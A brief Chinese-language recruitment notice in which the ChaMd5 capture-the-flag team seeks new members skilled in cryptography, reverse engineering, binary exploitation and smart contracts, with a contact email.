ChaMd5 ctf组 长期招新

尤其是crypto+reverse+pwn+合约的大佬

欢迎联系 admin@chamd5.org